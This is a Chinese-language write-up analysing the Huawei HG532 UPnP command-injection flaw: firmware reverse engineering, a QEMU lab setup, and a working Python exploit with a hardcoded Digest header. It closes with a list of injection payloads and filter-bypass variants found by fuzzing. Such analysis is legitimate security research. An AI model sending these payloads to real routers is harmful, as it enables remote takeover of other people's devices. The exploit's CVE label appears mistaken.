漏洞简介
CheckPoint报告华为HG532产品存在远程命令执行漏洞,华为HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品,经过身份验证的攻击者可以将恶意数据包发送到端口 37215 以发起攻击。成功利用可能导致远程执行任意代码。
1.png漏洞分析
下载漏洞固件
link:https://github.com/ray-cp/Vuln_Analysis/find/master
2.pngbinwalk提取出squashfs文件系统,查看架构发现是mips32位大端程序
3.png找到个EXP如下
#Filename: exp.py
#Data: 2019-04-14:
#Author: raycp
#Description: exp for CVE-2017-17125
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox mkdir shell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.204.145:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
可以看到是跑在37215端口的upnp服务造成的,直接找到upnp服务放进IDA中开始分析
4.png二进制文件在bin目录下,etc目录下存了很多xml,找到一个DevUpg.xml
4.png查找字符串NewDownloadURL
,只找到一处引用
可以看到很明显的命令注入,猜测函数ATP_XML_GetChildNodeByName
是从XML中解析参数,当这两个参数同时存在时拼接命令并执行命令。
查看交叉引用,发现类似虚表,关于g_astActionArray
有三处关键引用
查看
7.png继续查看交叉引用,发现函数ATP_UPNP_RegDeviceAndService()
,这里的作用是注册设备和服务,发现了两个服务。一个是更新设备,一个是更新配置。
再看函数UPnPGetActionByName
发现看不懂,看函数名猜测函数作用应该是通过函数名确定执行函数。继续向上查看交叉引用
找到函数sub_40A9C8
,这个函数可以使得访问/ctrul/服务名
访问对应的服务
函数UpnpGetServiceByUrl
通过url获取服务,将将服务名_index拼接
同时函数sub_409AB4
函数是写response的数据
继续向上搜索交叉引用,是sub_40B5B4
,这个函数主要是定义一些ssdp协议的返回数据逻辑
继续向上查看交叉引用,分别是ATP_UPNP_Init
和main
,分析到这里调用链比较清晰了
main -> ATP_UPNP_Init -> sub_40B5B4 -> sub_40A9C8 -> UPnPGetActionByName
漏洞环境搭建
使用qemu system搭建漏洞环境,下载镜像
https://people.debian.org/~aurel32/qemu/mips/
15.png运行下面的网络设置脚本给网口br0分配ip
#! /bin/sh
sudo brctl addbr br0 //创建网桥br0
sudo brctl addif br0 ens33 //连接到ens33
sudo ifconfig br0 0.0.0.0 promisc up
sudo ifconfig ens33 0.0.0.0 promisc up
sudo dhclient br0
//给该网桥分配IP地址,此前不能给ens33分配ipv4的地址
sudo tunctl -t tap0 -u root
sudo brctl addif br0 tap0
sudo ifconfig tap0 0.0.0.0 promisc up
sudo brctl showstp br0
查看Ubuntu网络,这时ubuntu也是可以访问外网的。
16.png开启qemu虚拟机,使用root/root
登陆系统,这时qemu有网络且可以访问外网
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
17.png
使用scp
指令,把文件系统都传递给qemu虚拟机
scp -r squashfs-root root@192.168.146.137:~/sqashfs-root
挂载dev
和proc
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
新建ssh链接到qemu虚拟机,然后改变目录,运行upnp和mic服务(这里用ssh很重要,如果在原来qemu的shell执行命令,运行完mic会让eth0网卡掉,没有ip,再使用ssh也就连不上了)
19.png查看端口确定两个服务正常执行
21.png这时查看qemu的ip,这时发现ip被改为了192.168.1.1
为了方便外部访问web页面,用ifconfig将eth0接口的ip改成原来的(我这边是192.168.204.145)。使用exp创建success目录,可以看到命令执行成功
22.png流量特征
pcap.png经过尝试使用以下payload也可执行成功
<NewStatusURL>|/bin/busybox mkdir success|</NewStatusURL>
<NewStatusURL>||/bin/busybox mkdir success||</NewStatusURL>
<NewStatusURL>; /'b'in/busybox mkdir success; </NewStatusURL>
# 插入大量垃圾数据 绕过
<NewStatusURL>|jsjidshijkijuhugyugfygftyfytftyftyf|/bin/busybox mkdir success|</NewStatusURL>
编写rce fuzz脚本进行fuzz又找到以下的payload
index:13 payload:`/bin/busybox mkdir success13`
index:16 payload:;/bin/busybox mkdir success16|
index:19 payload:|/bin/busybox mkdir success19|
index:21 payload:||/bin/busybox mkdir success21|
index:22 payload:||/bin/busybox mkdir success22;
index:23 payload:|/bin/busybox mkdir success23;
index:24 payload:||/bin/busybox mkdir success24||
index:3 payload:;/bin/busybox mkdir success3;
index:58 payload:, `/bin/busybox mkdir success58`
index:59 payload:| `/bin/busybox mkdir success59`
index:61 payload:; `/bin/busybox mkdir success61`
index:64 payload:, `/bin/busybox mkdir success64` #
index:65 payload:| `/bin/busybox mkdir success65` #
index:66 payload:; `/bin/busybox mkdir success66` #
index:73 payload:a;/bin/busybox mkdir success73;
23.png
并且将payload放在<NewDownloadURL>
同样可以执行命令
<NewDownloadURL>; /'b'in/busybox mkdir success; </NewDownloadURL>
网友评论